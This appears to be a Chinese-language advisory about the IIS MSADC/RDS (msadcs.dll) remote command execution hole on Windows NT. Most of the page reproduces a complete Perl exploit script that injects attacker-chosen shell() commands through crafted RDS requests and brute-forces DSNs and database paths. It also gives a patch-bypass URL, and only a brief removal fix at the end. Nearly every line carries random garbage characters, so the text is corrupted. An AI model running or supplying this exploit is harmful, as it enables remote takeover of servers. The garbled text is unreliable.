IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
AB3_|Tza~& v)
n- 涉及程序:
y7HFmGM Microsoft NT server
'09|Y#F (y9KO56.V& 描述:
dFz"wvu` o 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
6GxLaI &S >{9y% 详细:
FV^jCseZ 如果你没有时间读详细内容的话,就删除:
6`e{l+c=F c:\Program Files\Common Files\System\Msadc\msadcs.dll
7]VR)VA M 有关的安全问题就没有了。
~,)jZ-fw 6W
i
n!4 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
DDrR9}k iH(7.?.r 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<i~xJi%1# 关于利用ODBC远程漏洞的描述,请参看:
\J^#2{d >=@-]X2%j http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm &=@{`2& zD{]3pg 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
4(Lmjue]? http://www.microsoft.com/security/bulletins/MS99-025faq.asp @)Vpj\jM-C :60vbO 这里不再论述。
7H Har'=T o}AXp@cqi 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
qDdO-fPev F-,gj{s /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
khy'Y&\F; 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
63fYX"
)@wC6Ij zx#Gm=H4 #将下面这段保存为txt文件,然后: "perl -x 文件名"
{5 dVK dseI~} #!perl
0%f}Q7*R #
5%,3)H{;t # MSADC/RDS 'usage' (aka exploit) script
aT0~C.vT #
2C
S9v # by rain.forest.puppy
x1gS^9MqCB #
lSX1|,B7:] # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
L.;b(bFe # beta test and find errors!
Myc-lCE $LXa] use Socket; use Getopt::Std;
XCM!8x?K getopts("e:vd:h:XR", \%args);
Jm4uj&}3 opa/+V3E4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
yy3rh(ea I!/32* s1t if (!defined $args{h} && !defined $args{R}) {
YmljHQP print qq~
mb*Yw6q Usage: msadc.pl -h <host> { -d <delay> -X -v }
s#$t!F??9 -h <host> = host you want to scan (ip or domain)
{it.F4. -d <seconds> = delay between calls, default 1 second
+g1>h,K 3 -X = dump Index Server path table, if available
H!;N0",]N -v = verbose
IyO0~Vx> -e = external dictionary file for step 5
* F!B4go hW*o;o7u Or a -R will resume a command session
<'\Nv._2a u&~Xgq5[ ~; exit;}
J^+w]2`S w{tA{ { $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
A{_CU-, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k0Vri$x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
J jAxNviG if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
WuK<?1meN $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
C%4ed# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
8\{!*?9! ai 4 k? if (!defined $args{R}){ $ret = &has_msadc;
hDXTC_^s die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*;Kp"j k^7!iOK2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
R}oN8 . "cmd /c ";
ILuQ.VhBVN $in=<STDIN>; chomp $in;
(;fJXgj. $command="cmd /c " . $in ;
Pe:)zt0 dDS{XR if (defined $args{R}) {&load; exit;}
Xqf\}p n ANm@$xO* print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
eU"yF >6' &try_btcustmr;
?+}Su'pv} R>c>wYt'f print "\nStep 2: Trying to make our own DSN...";
^;
KCE &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
4X=VNORlU0 "%T~d[M print "\nStep 3: Trying known DSNs...";
W ^<AUT &known_dsn;
U5"u
h} 3 "kApGNB print "\nStep 4: Trying known .mdbs...";
Hzz{wY &known_mdb;
"ku[b\W H&s`Xr
if (defined $args{e}){
MZ38=nJ print "\nStep 5: Trying dictionary of DSN names...";
Le#srr &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
bd/A0i?C a8xvK;` print "Sorry Charley...maybe next time?\n";
qT?{}I exit;
W* LC3B^ x(c+~4:_M ##############################################################################
SGKAx<U &YIL As^8A sub sendraw { # ripped and modded from whisker
%lj5Olj sleep($delay); # it's a DoS on the server! At least on mine...
s_ZPo6p my ($pstr)=@_;
~ZafTCa; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wH"9N+82M die("Socket problems\n");
|5flvkid if(connect(S,pack "SnA4x8",2,80,$target)){
s8
WB!x {t select(S); $|=1;
Y%i<~"k print $pstr; my @in=<S>;
CDJ@Tdp select(STDOUT); close(S);
!$Uo$?gC return @in;
ij]UAJ}t } else { die("Can't connect...\n"); }}
M8H hjoo ]I*RuDv} ##############################################################################
k _t|)
J i&DbZ=n2 sub make_header { # make the HTTP request
7 2$S'O%,0 my $msadc=<<EOT
1V,@uY)s POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.]>Tj^1 User-Agent: ACTIVEDATA
7#JnQ|
] Host: $ip
#JYl%=#, Content-Length: $clen
]j0+4w Connection: Keep-Alive
{^oohW - C-edQWbcP ADCClientVersion:01.06
ztU"CRa8 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
qX}3}TL bB4FjC': --!ADM!ROX!YOUR!WORLD!
!$n@:W/ Content-Type: application/x-varg
#GGa, @O Content-Length: $reqlen
xn, u$@F <?A4/18K EOT
7fqQ ; $msadc=~s/\n/\r\n/g;
!$98U~L return $msadc;}
{
{?-&
yA w!UF^~ ##############################################################################
^.J_ w SB%D%Zx6'% sub make_req { # make the RDS request
+aOevkY] my ($switch, $p1, $p2)=@_;
9o,Eqx4J my $req=""; my $t1, $t2, $query, $dsn;
2:Yvr_L w*{{bISw| if ($switch==1){ # this is the btcustmr.mdb query
W$]qo|2P $query="Select * from Customers where City=" . make_shell();
8K2 @[TE=5 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
M?8sy $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
~;?mD/0k v[|-`e* elsif ($switch==2){ # this is general make table query
uWx<J3~q. $query="create table AZZ (B int, C varchar(10))";
zsQ]U!*rD $dsn="$p1";}
L%H\|>k` Wm1dFf.> elsif ($switch==3){ # this is general exploit table query
l|+$4 Nb2 $query="select * from AZZ where C=" . make_shell();
F7'MoH $dsn="$p1";}
{zZ)JWM<w =
V')}f~C elsif ($switch==4){ # attempt to hork file info from index server
5v oL@w> $query="select path from scope()";
Y;Nq ( $dsn="Provider=MSIDXS;";}
aMu6{u6 HB#!Dv&' elsif ($switch==5){ # bad query
7 Td
9mkO $query="select";
.+(ED $dsn="$p1";}
h,y_^cf OM.-apzC $t1= make_unicode($query);
j![1 $t2= make_unicode($dsn);
~5Fx[q $req = "\x02\x00\x03\x00";
%KF I~Qk $req.= "\x08\x00" . pack ("S1", length($t1));
'g<"@SS+ $req.= "\x00\x00" . $t1 ;
pIR_2Eq $req.= "\x08\x00" . pack ("S1", length($t2));
2r2: $req.= "\x00\x00" . $t2 ;
n-K/dI $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Z>UM gu3c return $req;}
(6/aHSXI C_3,|Zq?| ##############################################################################
B _ J2Bf h% >ZN-K) sub make_shell { # this makes the shell() statement
#Ey_.4S return "'|shell(\"$command\")|'";}
LawE3CD .0,G4k/yv ##############################################################################
a{ke%W$*P &W3srJo sub make_unicode { # quick little function to convert to unicode
ADF<5#I my ($in)=@_; my $out;
2v(Y'f. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
l`#rhuy` return $out;}
E4=D$hfq` ("(wap~<nD ##############################################################################
BNk >D|D; S['rTuk sub rdo_success { # checks for RDO return success (this is kludge)
!d 4DTo
my (@in) = @_; my $base=content_start(@in);
Tcv/EST if($in[$base]=~/multipart\/mixed/){
{li
Q&AZ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Vk`Uz1* return 0;}
Z;NaIJiL- Eve,*ATI ##############################################################################
,2U /\qzTo sub make_dsn { # this makes a DSN for us
.Erv\lv* my @drives=("c","d","e","f");
V(;T{HW& print "\nMaking DSN: ";
ouyZh0G foreach $drive (@drives) {
[c;0eFSi2 print "$drive: ";
)" Z|x my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
^7Z?}tgU "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
)Pubur %, . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
!r6Yq,3 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;9#%E return 0 if $2 eq "404"; # not found/doesn't exist
SnX)&>B if($2 eq "200") {
P_H2[d&/>D foreach $line (@results) {
o+{7"Na8[ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
w_"-rGV } return 0;}
uzb|yV'B } PL{i ##############################################################################
%<8?$-[ mYfHBW: sub verify_exists {
OW6dK#CFt my ($page)=@_;
b7+(g[O my @results=sendraw("GET $page HTTP/1.0\n\n");
S.>fB7'(?= return $results[0];}
'ahz@+lO vz3olHX ##############################################################################
i"+TKo- ve"tbNL sub try_btcustmr {
mQt0?c _ my @drives=("c","d","e","f");
PB*G#2W my @dirs=("winnt","winnt35","winnt351","win","windows");
Pxkh;:agD 4KHIUW$ foreach $dir (@dirs) {
M%$ITE print "$dir -> "; # fun status so you can see progress
h'GOO( foreach $drive (@drives) {
uwi.Sg11 print "$drive: "; # ditto
4Q1R:Ra $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.i )n1 $reqlenlen=length( "$reqlen" );
E:uTjXt $clen= 206 + $reqlenlen + $reqlen;
yW*,Llb5 !K2QD[x my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Piw i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
GBBp1i
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ml)\R L #N|JC d_ ##############################################################################
,y-!h@( TtWzjt sub odbc_error {
o:*$G~. k my (@in)=@_; my $base;
*q\>DE=7 my $base = content_start(@in);
f8UJ3vB if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
jUZ$vyT $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2B)1
tP $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.F%jbnKd_ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Hj1?c,mo4 return $in[$base+4].$in[$base+5].$in[$base+6];}
NU'2QSU8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
aMT=pGU print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
C]3:&dx9 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
\|B\7a'4 x&JD~,Y ##############################################################################
~PAI0+*"q a-nn[j sub verbose {
M(C$SB> my ($in)=@_;
vxi_Y\r=T return if !$verbose;
eA``fpr print STDOUT "\n$in\n";}
ePR9r} "
o3Hd ##############################################################################
* RX^ z6 8df| 9E$ sub save {
y,OG9iD:h my ($p1, $p2, $p3, $p4)=@_;
VMo:pV open(OUT, ">rds.save") || print "Problem saving parameters...\n";
>T:0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
1A*
"v close OUT;}
b5.]}>]t ={]POL\ A ##############################################################################
~e)"!r j
B1ZF# sub load {
Yi[MoYe/K my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
6f
t6;*, open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>Y\?v-^~; @p=<IN>; close(IN);
OwNo$b]h` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
@.)[U:N $target= inet_aton($ip) || die("inet_aton problems");
o!&+ _BKw print "Resuming to $ip ...";
Vo.~1^ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
fo~*Bp()-E if($p[1]==1) {
9@mvG^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
+!:=Mm $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^qVBg BPb my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
bVa?yWb. if (rdo_success(@results)){print "Success!\n";}
.kkhW8: else { print "failed\n"; verbose(odbc_error(@results));}}
6]?W&r|0I elsif ($p[1]==3){
|TQ4:P1T if(run_query("$p[3]")){
=\MAz[IDj print "Success!\n";} else { print "failed\n"; }}
U9Ea}aN elsif ($p[1]==4){
M
'%zA;Wl if(run_query($drvst . "$p[3]")){
$Xu/P5 print "Success!\n"; } else { print "failed\n"; }}
J,=ZUh@M exit;}
1U^KN~! eJ ^I+?h ##############################################################################
mfffOG E.0J94>iM sub create_table {
Jf#-OlEQ my ($in)=@_;
0V8 6]zSo $reqlen=length( make_req(2,$in,"") ) - 28;
_I3v"d $reqlenlen=length( "$reqlen" );
rz`"$g+# $clen= 206 + $reqlenlen + $reqlen;
Lm<WT*@ my @results=sendraw(make_header() . make_req(2,$in,""));
x&+&)d return 1 if rdo_success(@results);
zMO#CZ t my $temp= odbc_error(@results); verbose($temp);
;|$o z{Ll return 1 if $temp=~/Table 'AZZ' already exists/;
qUn+1.[% return 0;}
Hr7pcz/#l mb%U~Na ##############################################################################
=}I=s@ ^K4?uABc sub known_dsn {
>vYb'%02 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
C(z'oi:f my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
( *K)D$y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
b5KK0Jjk "banner", "banners", "ads", "ADCDemo", "ADCTest");
-II03 S1 S,avvY.U\ foreach $dSn (@dsns) {
q"S,<I<f print ".";
lF40n4} next if (!is_access("DSN=$dSn"));
9`"#OQPn1 if(create_table("DSN=$dSn")){
F~7TE91C print "$dSn successful\n";
f/\S:x-B if(run_query("DSN=$dSn")){
7[K3kUm[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BJ'pe[Xa5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
Y%|dM/a` oS<GjI: ##############################################################################
_2}~Vqb+ |;d#k+/; sub is_access {
4gVIuF*pS my ($in)=@_;
CBpwtI>p $reqlen=length( make_req(5,$in,"") ) - 28;
iE_[]Vgc $reqlenlen=length( "$reqlen" );
ma<uXq $clen= 206 + $reqlenlen + $reqlen;
6R$Yh0% my @results=sendraw(make_header() . make_req(5,$in,""));
c6h+8QS my $temp= odbc_error(@results);
;+#Nb/M verbose($temp); return 1 if ($temp=~/Microsoft Access/);
]$sb<o
.a return 0;}
rKT.~ZP\ ">20`Mj8 ##############################################################################
_% \% 6-g>(g sub run_query {
A;&YPHB my ($in)=@_;
/EegP@[ $reqlen=length( make_req(3,$in,"") ) - 28;
_Y}cK|3 $reqlenlen=length( "$reqlen" );
)~ &gBX $clen= 206 + $reqlenlen + $reqlen;
ab.B?bx my @results=sendraw(make_header() . make_req(3,$in,""));
\j BA4?(S return 1 if rdo_success(@results);
fgC@(dvfk my $temp= odbc_error(@results); verbose($temp);
0 VG;z#{J return 0;}
@0NWc
c+ nII#uI/!q ##############################################################################
]w$cqUhM /& c2y=/'C sub known_mdb {
$<&_9T#&w my @drives=("c","d","e","f","g");
G%zJ4W% my @dirs=("winnt","winnt35","winnt351","win","windows");
UWK|_RT6SA my $dir, $drive, $mdb;
kCoE;)y$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]%FP*YU4O @,c`#,F/ # this is sparse, because I don't know of many
dxH\H?NO my @sysmdbs=( "\\catroot\\icatalog.mdb",
gN73)uJ0 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
D`'Cnt/ "\\system32\\certmdb.mdb",
qK2jJ3)> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
YU)%-V\ G]EI!-y my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0w< ilJ "\\cfusion\\cfapps\\forums\\forums_.mdb",
sX3qrRY "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
L$+_ "\\cfusion\\cfapps\\security\\realm_.mdb",
;O{bF8U "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~ISY( & "\\cfusion\\database\\cfexamples.mdb",
:xbj&
l "\\cfusion\\database\\cfsnippets.mdb",
=YfzB!ld "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Zs-lN*u7. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
}; M@JMu, "\\cfusion\\brighttiger\\database\\cleam.mdb",
:=5X)10 "\\cfusion\\database\\smpolicy.mdb",
_'X "\\cfusion\\database\cypress.mdb",
!y>up+cRjl "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
4i}nk
T "\\website\\cgi-win\\dbsample.mdb",
q4G$I?4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X Z3fWcw[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
6%:~.ZfN ); #these are just
?$uF(>LD
foreach $drive (@drives) {
P{:Z xli0 foreach $dir (@dirs){
w:iMrQeJg foreach $mdb (@sysmdbs) {
r ?<kWR?w print ".";
Gr)G-zE if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
\&ZEIAe print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
ka ;=%*7T if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
JRZp'Ln print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
D]rYg' } else { print "Something's borked. Use verbose next time\n"; }}}}}
bAN>\zG+ AkdO:hVtG foreach $drive (@drives) {
k'PvQl"I foreach $mdb (@mdbs) {
a^E>LJL print ".";
Sl'$w4s
if(create_table($drv . $drive . $dir . $mdb)){
~-uf%= print "\n" . $drive . $dir . $mdb . " successful\n";
^6F, lS _t if(run_query($drv . $drive . $dir . $mdb)){
z 0zB&} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)PYh./_2 } else { print "Something's borked. Use verbose next time\n"; }}}}
%|^,Q -i, }
.O(9\3q\ a~LdcUYs ##############################################################################
ST~YO pFZ$z?lI sub hork_idx {
7N@[Rtv
print "\nAttempting to dump Index Server tables...\n";
NXDkGO/* print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>&R@L KP $reqlen=length( make_req(4,"","") ) - 28;
UL#:!J/34 $reqlenlen=length( "$reqlen" );
2Oyw#1tdn $clen= 206 + $reqlenlen + $reqlen;
["Tro;K# my @results=sendraw2(make_header() . make_req(4,"",""));
#CAZ}];Qx if (rdo_success(@results)){
_*8 6 my $max=@results; my $c; my %d;
}u$c*} for($c=19; $c<$max; $c++){
dTu*%S1Z $results[$c]=~s/\x00//g;
JKO*bbj $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
5[r}'08b $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Nh/i'q/ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*qAG0EM| $d{"$1$2"}="";}
vWrTB foreach $c (keys %d){ print "$c\n"; }
?EPHq,
E } else {print "Index server doesn't seem to be installed.\n"; }}
WS(m#WFQr 0R`>F"> ##############################################################################
G(Hr*T% v.vkQQ0[9 sub dsn_dict {
7+@-mJMP$D open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&2[Xu4* while(<IN>){
L:mE)Xq2 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
L;L_$hu) next if (!is_access("DSN=$dSn"));
}R5EuR m\
if(create_table("DSN=$dSn")){
`d4xX@
print "$dSn successful\n";
x
_d if(run_query("DSN=$dSn")){
gd#?rc*f<3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
M8 \/[R\ print "Something's borked. Use verbose next time\n";}}}
v@8SMOe% print "\n"; close(IN);}
a}|<*!4zUQ 9IrCu?n9b ##############################################################################
Mqk|H~l5c 9 BU#THDm sub sendraw2 { # ripped and modded from whisker
Eyk:pnKJb sleep($delay); # it's a DoS on the server! At least on mine...
/YU8L my ($pstr)=@_;
2Q@Jp`#,4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
h8Oj
E$
H die("Socket problems\n");
J(maJuY if(connect(S,pack "SnA4x8",2,80,$target)){
y;4g>ma0 print "Connected. Getting data";
3
Fy CD4# open(OUT,">raw.out"); my @in;
H.C*IL9 select(S); $|=1; print $pstr;
+Zr~mwM=x while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
gW4fwE^ close(OUT); select(STDOUT); close(S); return @in;
+~of# } else { die("Can't connect...\n"); }}
_s5FYb# D)l\zs%ie ##############################################################################
vlZmmQeJm [q_62[-X sub content_start { # this will take in the server headers
/L@o.[H my (@in)=@_; my $c;
cC| for ($c=1;$c<500;$c++) {
V*(x@pF if($in[$c] =~/^\x0d\x0a/){
ahCwA} if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
fkX86 else { return $c+1; }}}
iS<1C`%> return -1;} # it should never get here actually
UWS 91GN@ m-;8O / ##############################################################################
}Y!s:w# xN}f? sub funky {
F1B/cd my (@in)=@_; my $error=odbc_error(@in);
u>agVB4\F if($error=~/ADO could not find the specified provider/){
8\:>;XG6f print "\nServer returned an ADO miscofiguration message\nAborting.\n";
7t}s5}Z 4 exit;}
k{b|w') if($error=~/A Handler is required/){
u ysTyzx print "\nServer has custom handler filters (they most likely are patched)\n";
`'3 De( exit;}
c(FGW7L< if($error=~/specified Handler has denied Access/){
*b0z/6 print "\nServer has custom handler filters (they most likely are patched)\n";
z
j#<X exit;}}
S
Te8*=w F0zaA ##############################################################################
YPq:z"`-y4 .V0fbHYTJ sub has_msadc {
qTwl\dcncC my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
n@"<NKzh my $base=content_start(@results);
mvt-+K?U return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_LfbEv<,T return 0;}
3$:F/H }aXS MxCd ########################
,WnZ^R/n '/9MN;_ wxj}k7_(`A 解决方案:
D8PC;@m
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Bj><0
cNF 2、移除web 目录: /msadc